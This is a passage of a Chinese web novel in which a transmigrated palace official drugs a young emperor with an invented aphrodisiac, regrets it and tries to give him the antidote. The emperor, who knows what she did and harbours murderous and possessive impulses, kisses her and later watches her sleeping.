骆明烛只望着她,神情看不出变化,依旧笑着。 搭在床栏上的手轻轻敲击,一指落下,另一指紧随其后。 发出的声音不大,节奏也不快,偏就叫云黛心中不安。 “云尚仪确定这是为孤倒的?” 云黛犹豫了一下,只那么一会就点了头,其实看不出来她犹豫。 敲击的声音停下,骆明烛深深望着她,眸中划过讥笑。 视线再转到那杯茶上,目光幽幽,心中更是烦躁。料到她会这么做,但没想到她竟然没有一丁点犹豫。 骆明烛伸手,端起茶盏,移到口边。 饮茶的动作一顿,他鬼使神差地问她:“白日里孤对云尚仪说,孤在意你,那云尚仪呢,你也在乎孤吗?” 云黛看到了他满是期盼的眼,在说实话与撒谎中思索了一秒,艰难开口:“我也在乎陛下。” 少年天子笑了出来,笑容灿烂,任谁都会看花了眼。 而此刻云黛心里有的,只是愧疚。 “那便好。” 骆明烛垂眸,看了眼手中茶盏,杀意与讽刺爬上眼眸。 骗子。 他盯着云黛,一口喝下—— 作者有话说:感谢宝子们的营养液[奶茶] 第22章 啪嗒一声,茶盏被放回了矮桌上。 声音明明不大,云黛却莫名心慌,脑中不断回荡茶盏搁在矮桌上的声音,更烦了。 “你有没有……”话刚起了个头,骆明烛便背过身,躺下了,看都不看她。 “孤有些不舒服,云尚仪若是无事,便离开吧。” 云黛怎么可能走,还没给他吃解药,王嬷嬷在外头守着,这要是出去,要死翘翘的人就是她了。 “我有件很要紧的事与你说,我——” 骆明烛没有情绪起伏的声音响起:“孤乏了。” 很明显,他是要赶她走。 “只一会,你只听我说完,很快就好。” 但骆明烛没有给她一丝目光,背影看起来充满抗拒。 云黛只好直接开口:“陛下,我其实——” “孤不想听。”他的声音听起来很疲倦,还有几分沙哑,“孤想一个人休息。” 云黛不知道发生了什么,明明方才还好好的,喝完药他就这么抗拒他,难道是发现她做的坏事了? 她看了一会,没见着骆明烛有什么反应,以防万一还是得把解药给他吃了。 云黛刚要把花瓣拿出来塞他嘴里,外头忽然哐当一声响,下意识往那边望,紧接着传来一声惊呼。 她第一反应就是想到那晚威胁自己的人来了,脑子紧绷,回头一看骆明烛躺在那一动不动,看起来没有什么反应,药效暂时应该没那么快生效。 云黛一句话没说,往外去。 脚步声越来越弱,床上躺着的人睁开的眼里,满是杀意。 云黛一走出去,外头看起来没有丝毫变化,她再往前走了几步,远远瞧见门口探进来一只手,手上的金戒指反着光。 松了口气,没有再往前。 那金戒指是王嬷嬷手上戴的,看样子她是被什么人敲晕了,这样才好,不用管她盯着,要是到时候她问起来,她就说自己在和骆明烛那啥,没看见她晕倒了。 她不问,自己就装不知道。 悄悄走到外头,张望了几眼,没有人,小福子不 在,那晚威胁她的人要么就在暗处,要么没来。 再看了几眼,云黛转身就回去,没走几步,屏风后传来清脆的碎响,紧接着一声闷哼。 云黛脚步一顿,心不安地狂跳,随后快步跑回去,接近屏风时,一脚踩到尖锐的东西,低头一看,是茶盏碎片。 不安迅速扩大。 她迈脚继续往里走,看到眼前场景的瞬间,呼吸都停滞了。 屏风后,地面满是茶盏的碎片,散了一地,如同绽放的花。 而骆明烛趴在床上,伸出的手臂上被划出了一道口子,血珠冒出来,滴落在碎片上。 看到她回来的瞬间,他仰起头,只这么看着她,不过一会,眼里蒙上了水雾。 他艰难地抬起手臂,声音听起来很奇怪:“黛姐姐,孤难受……” 云黛什么话都说不出来了,慌忙冲向他,却不敢碰他。 他的手臂在滴血,脸上攀上潮红,呼吸粗重,眸光紧紧盯着她,像是一把坚不可摧的锁,将她锁在牢笼里,哪都去不了。 “怎么会这样……”云黛脑子里想着要拿东西给骆明烛包扎,手里动作乱成一团,“绷带,纱布……” 没有,没有,哪都没有! 云黛急急问他:“纱布在哪?你的手要包扎。” 骆明烛只看着她,眼神表层是委屈和无助,看着像是无故被惩罚,难受还痛苦。 里面压着的,却是狠厉,只要她再靠近一步,他这只流血的手,就会掐断她的脖颈。 说在意她是假的。 互相欺骗,谁也不欠谁的。 他仍套着那层乖巧的皮,等着她靠近,等着她把脆弱的脖颈送到自己手里。 机会已经给过她了,但她骗了他。 “孤不用包扎。” 云黛一愣,旋即盯着他看。 她没在骆明烛眼里看到很疼的反馈,他说这句话时,只是冷漠看着自己流血的手臂,没有喊疼,更没有跟她说他害怕。 心脏好像被针扎了一下。 随后扎两下,三下,无数下,密密麻麻的刺痛,让她呼吸不过来。 说起来,是她自己被威胁后,选择给骆明烛下药,骆明烛还说在意她,可自己却对他做了这样的事。 云黛没有理他这句话,只闷闷出声:“就是要包扎。”她的语气听起来像是在耍赖,跟个小孩一样,不管有没有正当理由,就是要这么做。 骆明烛不为所动,张开了五指,缓缓抬起来,下一秒,被冰凉的东西盖住。 他的动作被突然砸下来的帕子止住,视线里闯入一块白净的布,还有点温度,像是从身上刚扯下来。 云黛蹲下来,一声不吭地给他包扎伤口。 一指多长的血痕从他手腕蔓延到指缝,触目惊心,多看一眼心都要被多刺痛一下。 没有想过自己计划失败会是什么结果,她来到这里,本来就没有把这里当成真实的世界。 但现在,会因为一个人受伤而难受。 云黛扯下自己里衣干净的部分,将帕子包住伤口,再给他缠好。 包扎过程中一句话都没说。 她一直低着头看他的手,看到这只白得不正常的手上被自己勒出了青筋,慌忙松开。 这个时候才说了一句话:“疼吗?” 她的声音颤着,声音很低,一说出来,就能让人感觉到她在愧疚。 骆明烛望着她低垂的脑袋,无声地笑了。 “疼。” 但他感觉不到疼。 现在假惺惺问他疼不疼,给他包扎,不过是为了掩盖自己犯的错,没有一丁点真心。 他握住了自己的手,刚要松开,将她杀了,却被她先一步掰开手指,还责怪他:“不要用力,会流血的。” 他垂眸看着这个全都是虚情假意满口谎话的女子,笑容不减。 若云黛此刻抬头,就能发现他是以一种极为轻蔑的眼神看她,眼底的讥笑看得人恼火却又没办法辩驳。 因为她就是这么做的,没有一点借口能让她洗清自己做的坏事。 云黛松开了他,还蹲着,没有看骆明烛。 寝殿内安静得诡异。 骆明烛来回拨动手腕上的布,她打了个死结让看上去很牢固,怎么都晃不散。 有什么用呢?流出的血,还能收回去吗? 他收回手,刚要叫走她近一点,好叫他杀了她,她却突然动了。 她把她自己衣摆扯断,去捡地上的碎片。动作很快,没有一丝犹豫,还很熟练。 手腕因为伸直双臂而露出来,纤细脆弱,还能看到血管。 骆明烛就这么看着她,脑子里生出一个尤为邪恶的念头,想让那碎片将她的手腕划开,也让她尝尝被划破皮肤,血从身体里流出是什么滋味。 但他没有看到。 云黛很快将碎片收拾好,放到屏风后,做好将一切坦白的心理准备后,猛地转身,闭眼冲到骆明烛面前,飞速说了一句:“陛下,我刚才对你做了一件很不好的事情。” 这句话说完,她才敢睁开眼,周围的烛火因为她快速走过的动作晃动,骆明烛脸上的阴影飞速略过,最后烛光完完全全落在他脸上。 看清他脸庞的瞬间,云黛连解释的话都说不清,冲到他面前就去碰他的脸,烫得吓人。 赶紧把花瓣拿出来给他吃,手都在抖。 “快吃这个,吃下去就会好。” 她把花瓣往他嘴里塞,却被他用受伤的手捏住,她刚要塞,就听他问:“云尚仪怎么会对孤做坏事呢。” 声音很轻很轻,一句没有疑问语气的问话,听得云黛心里更难受了。 她终于抬眸望他,一眼对上他疑惑的眼眸,他看起来还是那么单纯,什么都不知道,什么都不懂。 云黛眨了一下眼,视线骤然模糊。 知道自己在哭,她立刻别开眼,出口的声音直接哑了:“抱歉。” 这声满含歉意的话与她的眼泪一起砸在骆明烛心口,身体里好像有什么东西被解开,肆意蛮横地生长,想将面前这个女子紧紧缠住,拖拽到泥土里,把她埋起来。 只有他一个人能看到,只有他一个人能拥有。 骆明烛看到她此刻的模样,她在哭。 他不是很理解。 为什么会哭呢? 骆明烛眨了眨眼,却没有和她一样有眼泪掉下来,以前他想哭,立刻就会掉眼泪,但现在,好像被她抢走了泪水。 该罚她。 骆明烛松开她的手,用被她包扎过的那只手,捏住她下巴,抬起来,面向自己。 朦胧的烛光映照在她脸上,她应该是哭红了眼,脸颊上两道泪痕,一滴泪滑落到她下巴,忽然觉得心头很痒,他伸出手指,指腹抹去了这滴泪。 还是温热的。 骆明烛茫然望着她,想要杀她的心在看到她拿出的桃花时,竟然被打消了。 她做好了准备,给他下了药,却找到了解药。 所以她想用解药来抹去今晚所做的一切,对他做了坏事,却以为这样就能当做没发生过? 不可能。 少年天子忽然惊呼一声,身子卸力一般倒在云黛肩膀上,吐出的呼吸炽热。 他难受地去扯自己的衣领,在她耳畔低低喘息:“黛姐姐,孤好难受……” 云黛立即往他嘴里塞花瓣,都顾不上他在自己脖颈间乱蹭。 抓了一把桃花,偏头去看他时,人忽然被抱住,骆明烛蹭了过来。 云黛对上他氤氲雾气的眼,随后唇上碰到了凉凉的东西。凉凉的,像果冻一样。 少年天子发出一声沙哑的喟叹,唇贴着她的,缓缓摩挲。 云黛手里的花瓣散了一地。 她甚至都没反应过来,震惊得下意识张开了口,却给了他深入的机会。 骆明烛含着她的唇,哑声呢喃:“黛姐姐……” 第23章 以前云黛远远看到小情侣亲嘴,不多看一眼,立刻就走。 比起现实中,她更喜欢动漫里,或是里描写的亲密戏,看的时候脑子里会自动加背景音乐,还会撒花,冒泡泡。总之想象中一切都很唯美,真在现实里看到就会觉得不适应。 之前每次都是自己看别人亲亲,但这次,被亲的人变成了她。 云黛大脑空白,有那么一瞬间,脑子里好像冒出了烟花炸开的声音。 她甚至没反应过来要推开他,直愣愣地僵直着身子,就这么被他入到口中。 唯一的感觉,就是很软很软,还有淡淡的香味。 下唇一痛,云黛终于回神,视线重新聚焦,第一眼看到的,就是骆明烛望着自己的眼。这双眼看起来一直都是漆黑的,直到此刻,离得这么近了,才发现那是浓郁到黑的琥珀色。 也许是烛光映照的原因,但这双眼确实很好看。 带着几分迷离疑惑,从未接触过这样的事,不知道自己这么吻下去,竟然会带来奇异的反应。 身体本能地吮吸了一下她的唇,脑海中只有一个念头——好软好软。 骆明烛轻轻眨了一下眼,心底那阴暗的想法迅速蔓延,如同带血的荆棘爬遍他全身,越来越想将眼前这个骗了自己的女子,埋在自己身边。 像他一样,被埋在不见天日的土里,腐败,糜烂。 对上她视线的瞬间,在她眼里看到惊愕,有的也只有惊愕。 没有一点对他的贪欲。 骆明烛忽然不悦,心中的恶劣放大,手用力扣住她,将她按向自己怀里,随后加重了这个吻。 骗子,接近他就是为了骗他。 要惩罚。 被他吻得呼吸不过来的人慌乱推他,却被他抱得更紧。 云黛脑子里有两个人在吵架,一个小人说她应该推开骆明烛,给他吃解药,不能在他被桃花散影响的时候占他便宜。 另一个小人说,是骆明烛自己亲过来的,而且骆明烛的唇真的很软,像果冻还像棉花糖,甜甜的,被他亲一点都不觉得不舒服。 小人吵来吵去,也没吵出个结果。 云黛脑子里乱糟糟的,根本没想到自己会被骆明烛亲。 眼前只有他不断颤着的眼睫,离得近了,眼睫一动,好像扫在她脸上似的,还有阵小风。 这是云黛第一次离骆明烛这么近,近得他呼吸的热气都能感觉到。 他好像更难受了,吻得没有一点章法,只知道吻她,越来越凶。 蒙着雾气的眼清明了一瞬,看到云黛仍旧愣着,根本没有一丁点被他吻动情的反应,一股无名之火冲上来,一口重重咬下。 她终于回神,吃痛地推开他。 云黛一摸,唇抽痛,指尖沾了血。他竟然咬破了她的唇! 刚要让他冷静点,一抬头见到他此刻的模样,什么责备的话都说不出来了。 他看起来很难受,眉头紧蹙,眼里难受得都有了泪花,眼睫一颤,就从眼里溢出来,顺着他脸颊上潮红的皮肤缓缓滑落,正好落到唇角。 云黛的视线就这么跟着他的眼泪来到他唇上,原本不算多红润的唇现在红得如同石榴,唇珠上还有一滴血渍,衬得他的唇更红。 他的唇微微张开,炽热的呼吸吐出来,桃花散显然已经奏效了,他被折磨得发出难捱的声音,一声一声,听得云黛面红耳赤。 本来以为这是个纯得不能再纯的,结果真来时,与平日相比更是魅惑。 她艰难地从昳丽诱人的少年天子那收回视线,找回理智后,目光闪躲,去拿花瓣。 但不等她将手伸进口袋里,他的手再次伸过来,滚烫得叫云黛身子一抖,连让她把花瓣拿出来的机会都没有,就被他拉起来。 也不知道他哪来的这么大力气,直接把人拉着上了床铺。 冰凉的绸缎与他的滚烫肌肤形成鲜明对比,云黛整个人宛如同时进了火山和寒窟,一边冷,一边烫。 少年天子沙哑的声音响在她耳畔,听得她心虚还愧疚。 “黛姐姐,孤好难受……孤为何会突然这么难受……” 是她弄的……深深的愧疚将心脏填满,云黛现在只能先帮他解了桃花散,再跟他解释。 本来想说吃了她带来的桃花就不难受了,结果话刚起了个头,人就被骆明烛勾着脖颈拉向他,直接压在他身上。 低哑性感的闷哼声直接在她耳边炸开,那哼声尾音上挑,听起来像是被压到哪了,他疼得发出了这道闷哼,但又像是某些隐蔽的欲望被短暂地满足,发出的喟叹。 云黛瞬间僵了身子,一点都不敢动。 袁络仪让她教骆明烛那些东西,她没认真教,也没教多少,最多就脱个衣服,而且骆明烛纯得她一做这种事就觉得自己在犯错。 可现在,他直接就吻上来,拉着她,还贴着她脖颈蹭。 他身上温度那么烫,像火球一样,弄得她都热起来了。 “我……”云黛撑起身子看他,他现在看起来和以往见到的完全不一样,极其依赖她,一直喊她黛姐姐,看得她更内疚。 “对不起,是我的错。” 云黛一只手撑在他身侧不压到他,另一只手去拿花瓣,紧张得手都在抖。这个时候给他吃解药,也不知道管不管用了。 掏了半天没掏到,只好偏头去看自己衣袖里的口袋。本来单手撑着身子就很不容易,单手掏口袋更麻烦。 她一直侧着头,略有些凌乱的发丝下,是她的耳朵。耳尖呈倒三角,弧度很小,尖尖的,和常人的耳尖很不一样。 专心掏花瓣的云黛没有注意到自己的耳朵被骆明烛盯着看了好半天。 她还在掏,终于碰到花瓣,但每次她想拿花瓣的时候,骆明烛总是会突然动起来,打断她。 人忽然被抱住,耳朵上覆上很软很烫的东西。 骆明烛幽幽看了她耳尖好一会,也不知道是不是忍不住了,直接仰起身子,咬她耳朵。 云黛拿花瓣的手一抖,身子一下子没了力气,瞬间倒下。 这次是骆明烛接住她。 结实的双臂分开,左臂搂住她的腰,右臂从她肩膀绕后,揽住她左肩,强大的腰腹力量支撑他半仰起来的上半身,还能稳稳接住她。 骆明烛没有扯开两人中间夹着的碍事被褥。 更没有松开她耳尖,牙尖咬了一下,感受到怀里的人战栗,眸子里荡出兴奋。 她终于感觉到害怕。 骆明烛本来是想杀了云黛的。 但谁叫她的眼泪,能勾起他的欲望,现在不想杀她了。 想看她哭。 以前总是他哭来迷惑她,现在轮到她在他的折磨下,哭出痛苦的眼泪。 谁让她骗了他呢。 骗子是要付出代价的。 骆明烛毫不客气地重重咬了一下她耳尖,听到她吃痛的声音,心底那掩藏的隐秘疯狂被释放出来,还想咬得更重,让她更痛。 好让她记住,骗他的代价。 身体反应越来越强烈,他面上一片潮红,情欲布满整张脸,连头发丝都有情欲的味道。 可他却还能保持理智,控制自己身体的本能,知道该露出什么样的表情,才会叫她不怀疑,甚至更心疼,更愧疚。 云黛确实一边疼一边内疚,但他咬得实在太疼了,疼盖过了内疚,伸手去推开他。 刚开始被含住耳尖的旖旎,此刻朝着挣扎转变。 云黛被这么一咬,乱七八糟的心思被赶走,只想解救自己耳朵。 推了一下没推开他,只能去推他下巴。 滚烫的唇擦过耳尖,再次带起颤栗。 云黛身子一麻,身体里蹿上一股酥麻之意,推他的手都卸了力,但也不用再推,骆明烛已经松开她了。 她缓了好一会,才说话:“别咬,不能咬……” 她自己都不知道自己现在只因骆明烛咬了自己就脸红,甚至没有发现骆明烛是故意的,即使之前有责怪他的意思,现在被他的咬转移了注意力,那么一点责怪烟消云散。 “可是孤难受。”骆明烛没有松开她,滚烫的脸颊蹭着她的下巴,脖颈,她身上比他凉快很多。 即便身体的欲望能压住,还是禁不住想要靠近她,说不清是被她温凉的体温吸引着想要散热,还是本来就想与她亲近。 “黛姐姐,孤难受。” 云黛知道他难受,他身体都这么烫了,把她抱得死死的,像是要勒死她一样,根本拿不到口袋里的花瓣。 她只好去哄他松开自己,连查看自己被咬的耳朵都没顾得上。 可一让他松开自己,他就掉眼泪。 滚烫的泪珠掉到她脖颈上,顺着肌肤纹路往下滑,所到之处,全都变得炽热,像是他滚烫的手指抚过,存在感太强。 云黛下意识伸手隔着衣衫按住滑落的泪水,终于将那该死的乱七八糟的感觉制止住。 终于想到一定要让骆明烛吃了解药,手刚伸进袖子里抓了一把花瓣,人就被骆明烛拉着倒下,胳膊打到他肩膀,手里的花瓣没抓住,落满了床铺。 云黛身子压在他身上,贴得更紧。 本来被他抱着时就高出了些,现在倒下,她的唇撞到了他的额头,落下重重一吻。 更过分的是,她感觉到了他的反应。 倒下时骆明烛抽走了被褥,除了衣衫,没有障碍,什么都能感觉到。 她看不到他此刻的表情,也就不知道骆明烛此刻起了杀她的心。 她的脖颈就在眼前,一伸手,就能折断。 他还是觉得,死人更乖,他可以将死人摆成自己喜欢的模样,就不会在看到她没有丝毫反应时觉得恼火。 骆明烛朝云黛脖颈伸出了手,碰到她细腻的肌肤,五指贴合,即将用力。 他的手忽然被握住了。 第24章 云黛压根没发现他要杀自己的意图,只以为他现在难受得要找什么东西依靠,一把抓住他的手,眼里的愧疚都快要化成实质掉出来。 握着他的手贴着自己脸颊,一低头就看到他湿润的眼眶,心随着他颤动的眼睫一颤一颤,心头泛起了一股怪异的感觉,说不清那是什么,只知道现在的骆明烛好看得移不开眼。 出口的声音第一次那么温柔:“乖,再忍一忍。” 听到她说的话,骆明烛瞳孔一颤,被她按在她脸上的手用力,差点捏疼了她。 随后那只覆盖在自己手背上的手离开,只留下温凉的触感。 骆明烛轻轻眨了一下眼,眼眶里的泪被挤出来,他的视线清晰,看到她此刻的表情。 满脸的愧疚。 双眸紧紧盯着她的脸,不明白她愧疚什么。这都是她自己的选择,她该高兴才是。 下一秒嘴里被塞进了什么东西,有淡淡的香味,但舌尖尝到的味道,是苦的。 “吃了这个,能好些。”云黛将袖子里的花瓣全往骆明烛嘴里塞,这个时候格外庆幸自己机智地多拿了花瓣,不然还不够撒的。 但骆明烛好像没有吃。 云黛凑近看他,他的手顺势滑落到她后背,轻轻落下,没什么力道。 走远了看,他的手将她牢牢控住,看起来是个极其有占有欲的姿势。 “快吃了。” 云黛没忍住捏了捏他脸颊,手还没收走,就被他禁锢住手腕,那手像是从热汤里泡过,一碰过来,火燎一般滚烫。 从未有人这般放肆地捏他的脸,骆明烛蹙眉看她,不懂她的意图。 含着花瓣也可解桃花散,且用不了这么多。 该是说她机智,知道提前备上解药,还是说她傻,把解药当点心吃。 “孤不想吃。” 少年天子皱着眉,张嘴就要把花瓣吐出来。 云黛脑子都没怎么思考,直接伸手捂住他的嘴,不让他吐:“必须吃了!” 她眼神凶了些,跟他说:“你现在很不正常!把这东西吃了才能好!” 骆明烛眼底闪过讥笑,他现在很不正常?是谁让他不正常的?罪魁祸首还敢在他面前说这些。 搭在她后背的手不禁加大力道,将她按向自己,距离拉近,能看到她变得慌乱。 看到她惊慌,骆明烛眼底闪过愉悦的笑,被她捂住的唇角微微上扬,心情很奇妙地好了很多。 但他很快又变成那副难受的样,一而再再而三地试探她的底线,偏头躲开她的束缚,含着花瓣开口说话:“太苦了。” 他用那双湿漉漉的眸子看着她,“孤怕苦。” 云黛差点看他看得忘了说话。 “不行,苦也要忍。” 云黛能怎么办,她也不知道该怎么办,要么等药解了,要么真上。 上是不可能上的,只能药效散去,辛苦他难受一会了。 刚想去给他倒水喝,外头忽然响起一阵嘈杂声响,小福子的声音传来,“王嬷嬷,您怎么还没离开?” 云黛手一抖,精神高度紧绷。王嬷嬷刚才不是晕倒了?怎么醒了?坏了,那她刚才对骆明烛说的话,王嬷嬷不会听到吧? 她的注意力都在外头,忽视了那个被自己弄得还在难受的人。 骆明烛知道她在担心什么,瞧着她僵着身子紧张听外头动静,不满意她的注意力从自己身上转移开。 他忽然动手,手指穿过她的发丝,捏住她后颈,往自己身上按。 含着花瓣的唇吻住了她的唇,随后一个翻身,直接将人压住。 云黛根本没反应过来,明明上一秒自己还在听外头动静,怎么下一秒就被人压着,还再次被吻住了。 愣神的功夫,唇每一处几乎都被他尝过。没来得及合上的唇缝里被他塞进来花瓣,初入口确实是苦的,可随着他灵巧探进来的舌扫过,就变得甜了。 她下意识去推他,谁知道这个人现在力气大得根本挣不开,还发出很让她不好意思听的声音,弄得她脸上跟烧着了一样,这辈子脸没这么烫过。 又不敢对他做大动作,只能撑在他身体两侧挣扎,但没什么效果。他双臂铁一样,紧紧箍着她,一点缝隙也不留。 “唔——!” 被他抵着自己舌尖的瞬间,云黛反应很大地仰起头,脱离他的吻,唇麻得一动就觉得还被他吻着。 云黛此刻根本看不到自己脸上浮现的绯红,比今日的晚霞还绚烂。这次轮到她眼神迷离,困惑中带着潋滟水光。 骆明烛很少见到她现在的样子,有些失神地望着,不过片刻就回神,眼底欲色逐渐被冷色取代。 他听到了外头进来的凌乱脚步声,王嬷嬷要进来看里头的情况,小福子在拦她。 不仅他听见了,回过神的云黛也听到了。 一想到自己现在被骆明烛压着,也算是完成了袁络仪交代的事?王嬷嬷不会直接走进来看吧! “陛下,她——” 声音戛然而止,王嬷嬷真的走过来,在她靠近屏风的瞬间,云黛眼前光线变暗,被褥盖上来,彻底将所有的光线阻挡。 骆明烛在王嬷嬷进来前,用被褥遮住自己和云黛。但遮盖的角度很有技巧,将云黛遮了个严严实实,却露出了自己凌乱的衣领,加上他现在看起来的状态,确实很像做了什么事一般。 “云尚仪还在陛下这儿吗?” “嬷嬷要见她?”骆明烛射过去的眼神冰冷,方才退下去的杀意再次升腾,很想现在杀了这只袁络仪的狗。 但现在还不是时候。 王嬷嬷一听这声音,就知道有戏。脚步一挪往里走,瞧见里头景象的瞬间,立刻后退一步,背对着他们。 “奴婢失礼!没想到陛下在宠幸云尚仪,奴婢这就走!” 王嬷嬷很快离开,走的时候还是笑着的。 骆明烛正要掀开被褥,里面的人动了,胳膊挥动间碰到他,身体有了异样反应。 缓缓转头,对着被鼓起来的被褥,有那么 一瞬间,也想将这个没心没肺的女子杀了。 下药的人是她,要他忍的人是她,现在撩拨他的人也是她,她却一点都没有承担责任的意思。 她的发露出来,快要露出脑袋,骆明烛在她看清自己的瞬间,忽然砸下身子,将人撞倒在床上,恰好埋在她脖颈间。 没有别的味道,很干净。 几乎在他倒下瞬间,外头传来小福子的声音:“陛下!尚仪大人!你们没事吧!” 惊慌的声音隔着屏风闯进来,瞬间唤醒了云黛。 她也不知道哪来的力气,一把推开骆明烛匆匆下床,眼角瞥见一地的花瓣,鬼使神差地回头看了眼骆明烛,一见他此刻凌乱的模样,大脑宕机,结结巴巴说出一句话,掉头就跑。 “今晚是个误会,你忘了,忘了,就当没发生过!” 云黛直接冲出屏风,连看到小福子都没说一句话,直接就跑。 小福子本来想问云黛方才王嬷嬷是不是留在这许久,话还没问出来,她人就不见了。 半晌才发现云黛走的时候脸很红,衣衫也是乱的。 坏了,云黛该不会真对陛下做了那事吧! 他急急朝着里头问:“陛下,方才奴才被王嬷嬷叫去御膳房为您拿糕点——” 里头只传来懒洋洋一声:“笨。” 小福子知道自己是被故意支开的,想着有云黛在,陛下应该不会出事,谁知道该防的应该是云黛啊! “那尚仪大人有,有对您行不轨之事吗?” 里头忽地传出来一声笑,小福子听不懂这笑的含义,但听出了这笑带着不悦。 他想了想,小心翼翼道:“尚仪大人又惹您不高兴了?” 屏风后的少年天子此刻慵懒靠在床栏上,也不理自己散乱的衣裳,只用指腹擦着自己的唇。 幽深的眸光里确实有不悦,但更多的是困惑。 不明白自己为何会放过云黛,不明白她既然选择下药,又为何找来了解药。 “她走了?”说话的嗓音还有些哑。 小福子点头,也没意识到里头的人看不见,继续说:“尚仪大人跑得很快,应该是心虚了。” 看起来像是身后有猛兽追一样。 小福子是觉得今晚绝对是云黛对骆明烛做了坏事,根本没想到主导的人是骆明烛。 “准备汤池,孤要沐浴。” 小福子连忙叫人去准备,也不敢多问,不过还是很好奇,王嬷嬷说陛下宠幸云黛?但他看着,云黛衣裳都穿得整整齐齐呢。 待他看到骆明烛从里头走出来,一见着他浑身衣衫凌乱,鼻孔里喷出一口气。 可恶,云黛真对陛下做了那件事!不行,以后云黛来,他要牢牢看着她!绝对不能让陛下再受到欺负! 一路跑回去的云黛一回去就把门锁上,扑到床上滚来滚去,极度亢奋。 “系统,要命了要命了!骆明烛亲了我!” 系统:“恭喜你——” “恭喜什么啊恭喜!我要完了!” 王嬷嬷一定会以为她和骆明烛做了,然后告诉袁络仪,那她就要走上原本的剧情,被袁络仪刀了! “不行,我今晚就要跑路!” 云黛一骨碌爬起来,收拾东西,系统却道:“还没到被袁络仪杀的剧情点,而且你们只是亲了一下。” “谁知道袁络仪老巫婆会不会突然想杀人,我可不想冒这个险。” 本来云黛是想现在就走的,但脑子里总是浮现骆明烛那副说难受时哭泣的模样,越想越魔怔,到最后打消了跑路的心思。 “我明天再去看看他吧,看看他有没有事,确定他没事了再走。” 云黛找了个借口让自己先不走。 她悄咪咪去洗漱,脑子里总是回响他喊自己黛姐姐的声音,还有他吻自己感觉。 云黛直接将脑袋下潜到水里,以此让水冲走自己脑子里的废料。最终还是憋不过气,浮出水面。 拍打了一下水面,恨恨出声:“都怪他!” 哼,迷惑人的妖精! 不知道是今日太累了,还是水温太舒适,洗着洗着睡着了。 衣衫褪尽,浴桶里水清澈,湿发在水中漂浮,肌肤白皙得在水里似乎能发光。 水温渐渐降低,越来越冷,再这么泡下去,必然会着凉。 云黛还是没有醒来的痕迹。 不知过去多久,浴房外掠过一阵风,片刻后一道黑影轻飘飘落在浴桶旁。 这双深色的眼瞳将此刻的她一览无余。 他静静站在浴桶旁,垂眸看着这个昏睡过去的女子许久。 他朝她被湿发遮住的脖颈伸出了手,越来越近,只需片刻,便可扭断她的脖颈。 手指覆上去的瞬间,冰凉刺骨。 他神色微变,眼神复杂地看了她许久,最终转了方向,单手将她从浴桶水里抱出来。另一只手脱下自己外袍,裹住她身体。 夜色下他抱着云黛回了她房间,将她放在床上,也不找太医,也不给她煮姜汤,就这么看着她。 不知想到什么,他俯下身,抬手去拨她的唇,指腹抵着她的下唇往下,啵的一声,下唇弹了回去。 她没有醒来。 他似乎玩上了瘾,来回拨弄,直到他厌弃。 黑暗中他一点点靠近云黛,深色的眼眸直直盯着她,扬起云黛很熟悉的,单纯的笑。 “黛姐姐,你跑不了了。” 第25章 屋外夜色正浓,满天星辰,辉月洒下干净明亮的光,照射进来,映照在这二人身上,骆明烛还未离开。 屋内的湿气越来越重,他只将云黛从水里捞出来,没有帮她擦干发,被褥洇湿,水珠顺着垂下的发丝滴落,床边很快积了一滩水渍。 但骆明烛没看见似的,随意拨弄挡住她脸颊的湿发,也不觉得她湿发温度低,更不会想到她会着凉。 或许他有想到,但不关心她会不会着凉。 都可以在浴桶里睡着,想来该是很相信自己身体好,不会着凉。 似乎觉得站着看她有些累,他蹲了下来,左臂撑着床沿,缓缓靠近熟睡的人,眼里是探究未知事物的好奇。 此刻他看着像是见到什么神奇东西的孩子,张开的眼里除了对未知的好奇,还有想将她剥开,看看里头究竟是什么的疯狂。 拨开的发丝下,是她冰凉的皮肤,被他拨弄的唇微微翘着,粗重的呼吸声从口中溢出,她现在该是有点受凉的症状,已经开始用口呼吸。 视线从她饱满的唇移开,往下,就是脆弱的脖颈。 那里没有被他割破的痕迹。 明明在“云黛”要被袁络仪叫去的前一个时辰,他亲手杀了“云黛”,怎么现在,这条刀痕不见了? “你究竟是谁呢?” 纤长的手指拂过云黛脸颊,指腹摩挲着她脖颈肌肤,可他的手背青筋凸起,分明手在用力,指尖动作看起来却格外温柔。 他在控制自己的杀欲,明明杀了这个不可控的意外才是最好的选择,但没有选择这么做。 “黛姐姐,孤说过,孤在意你。”他握住云黛的手,覆在她手背,手指插入她指缝中,操控着她的手贴在自己脸颊上,像是孩童般依赖自己的亲人。 但他望着云黛的眼里,只有冷意。 “可黛姐姐做了让孤不高兴的事。” 插入云黛指缝中的手指弯曲,收紧,指腹抵着她冰凉的手心,就这么握着,她身体的冰凉传递到他身上,竟然会觉得很舒适。 “孤要原谅你吗?” 他忽然松开了她,站起身,将被褥掀开,直接盖住了她全身,甚至没有露出她脑袋,同时抽开了裹住她身子的外袍,动作很快,一丝多余的位置都没有露出来。 指尖捏着已经被沾湿的外袍,掀开被褥一角,露出云黛脑袋。 他歪了头,微微笑着:“若是黛姐姐主动与孤坦白,孤就原谅你。” 骆明烛目光再次移到自己先前碰的唇上 ,唤起与她亲吻时的感觉,很软很软,会让人上瘾。 他却没有再碰,眼底浮上厌色。身体渴盼与她再亲密接触,但意识上抗拒。 好像有点控制不住自己了。 骆明烛深深望了云黛一眼,悄无声息地离开。 没有他的遮挡,月光全都洒在云黛身上,她的脸色被月光衬得更加苍白,呼吸声越来越重。 不出意外的,醒来时感冒了。 “大人,您昨晚沐浴时,怎么会睡过去呢!很容易着凉的!您看您现在,一点血色都没有。好在没有发热,还得好好养几天才能好。” 绿翘送走了太医,回头一顿说。 云黛尴尬笑了两声,心虚地移开目光,不敢与绿翘对视。 绿翘要是知道她昨晚对骆明烛做了什么,知道昨晚自己在浴桶里睡着后莫名其妙回了房间,怕是要震惊得下巴都合不上。 “系统,我昨晚怎么回来的?” 系统上线:“昨晚你睡着后,我就下线了,不知道你怎么回来的。” 云黛脸更白了,坏了,昨晚闹鬼了,鬼把她从浴桶里带回了房间,还给她盖了被子。 “你这本书闹鬼,我要申请换本书。” 系统:“……” 系统在无语的时候是会笑的:“你想躲骆明烛就直说。” “谁说我要躲他的?我才没有。” 云黛不想和系统说话了,这个没眼力见的系统,哪壶不开提哪壶,真讨厌。 “我没事,昨晚可能是太累了。”云黛美滋滋接过绿翘端来的特地为她熬的粥,一口下去,身体都暖和起来了。 “还是你好。” 绿翘嗔怪地瞪了云黛一眼,没好气说:“尚仪大人您怎么越过越像个孩子,都不会照顾自己。” 